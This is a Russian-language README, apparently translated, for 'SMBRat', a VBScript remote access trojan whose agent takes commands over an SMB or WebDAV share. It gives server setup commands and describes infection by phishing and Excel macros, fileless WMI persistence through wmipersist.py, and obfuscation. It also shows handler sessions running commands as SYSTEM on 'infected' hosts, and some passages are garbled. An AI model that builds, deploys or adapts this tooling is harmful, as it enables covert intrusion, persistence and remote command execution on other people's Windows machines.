Инструмент удаленного администрирования Windows в сценарии Visual Basic
Среды Windows , такие как сети Active Directory , сильно перегружены SMB- трафиком.
Все хосты получают политики из SYSVOL , для работы конфигураций нужны удаленные файлы, ярлыки на рабочем столе обычно указывают на \somethingelseinthenetwork.exe
.
Никто не заметит еще одной попытки подключения. Верно?
- Особенно если это удастся (модно мониторить только Firewall Denies )
agent
представляет собой сценарий Visual Basic , который запускается на зараженном хосте и подключается к SMB-серверу . Он создает там каталог, названный в честь hostname
хоста и основного MAC
адреса (пытаясь быть одновременно уникальным и информативным для целей отчетности). Все команды и информация зараженного хоста будут храниться в этом каталоге. zip
всю общую папку, вся информация о проекте будет заархивирована!
Он НЕ использует букву диска для монтирования общего ресурса, просто использует UNC paths
для прямого чтения удаленных файлов (в explorer.exe
диск не создается).
Он также вводит UNC path
в переменную %PATH%
своей собственной среды выполнения (вы можете запускать исполняемые файлы непосредственно из файловой системы вашего компьютера с Linux).
agent
настроен на однократный запуск . Без гражданства .
Это рутина (более или менее):
exec.dat
в папке, созданной на общем ресурсе SMB.cmd.exe /c <command>
как в полуинтерактивной оболочке .output.dat
(рядом с exec.dat
).exec.dat
. Для работы handler
необходим SMB-сервер . Подойдет модуль smbserver.py
из пакета impacket
Core Security .
Скорее всего, smbd
тоже подойдет, но он еще не тестировался.
Общий ресурс с именем D$
необходим, чтобы он выглядел как SMB законного хоста Windows.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Поскольку agent
настроен на использование только путей UNC, WebDAV также можно использовать с нулевыми изменениями . Вместо SMB-сервера можно использовать сервер WebDAV (отличный сервер WebDAV с поддержкой SSL — wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Для поддержки SSL пути UNC должны немного измениться:
\<Server-IP>DIR
к:
\<Server-IP>@SSL@443DIR
Это изменение можно внести только в переменную ServerName
agent.vbs
, поскольку все пути создаются с ее помощью. Имейте в виду, что SSL-сертификатам должна доверять система, на которой работает agent
. Самоподписанные сертификаты не будут работать с предупреждениями.
Цикл While можно добавить в начало файла agent.vbs
с задержкой в несколько секунд (идеально 10 секунд), и он сможет заражать хосты Windows двойным щелчком мыши / фишингом / макросами Excel /и т. д.
Цикл while True
в VBS с задержкой в 1 секунду выглядит следующим образом:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
Тем не менее, если на хосте Windows включен RPC , можно установить файл VBS как бесфайловое вредоносное ПО через WMI
и потрясающие примеры пакетов impacket
с помощью такой команды:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
Также можно использовать инструмент WMI
посредством локального доступа для установки agent.vbs
как бесфайлового вредоносного ПО.
Сценарии Visual Basic можно красиво запутывать , использовать base64 , а также минимизировать .
Может быть очень удобно проверить его перед «развертыванием».
На момент написания оболочка поэтому использование можно выполнить, просто используя команду типа Handler
не реализована,watch
для проверки файла output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
и echo
для записи данных в файл exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
Экспериментальная оболочка работает следующим образом:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Трафик ( содержимое файлов и пути ) передаются в виде открытого текста, если используется сервер SMBv1 (например, smbserver.py
пакета impacket
).
Все агенты могут изменять файлы, хранящиеся в Whole Share . Это означает, что они могут изменять exec.dat
других агентов... smbmap
прольет свет:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
и -p
в smbmap
.Это NULL-сеанс (например, анонимный вход в систему FTP). КАЖДЫЙ может изменить файлы SHARE и получить удаленное выполнение кода на всех зараженных машинах.
iptables
... Введите execall netsh
, и вы потеряете всех своих агентов. Ни один из них не ответит, поскольку agent.vbs
создаст оболочку netsh.exe
и будет ждать ее завершения, чтобы можно было записать свое содержимое в output.dat
. Но угадайте, что... Это не завершится... Оно будет зависать с netsh>
указывающим на пустоту.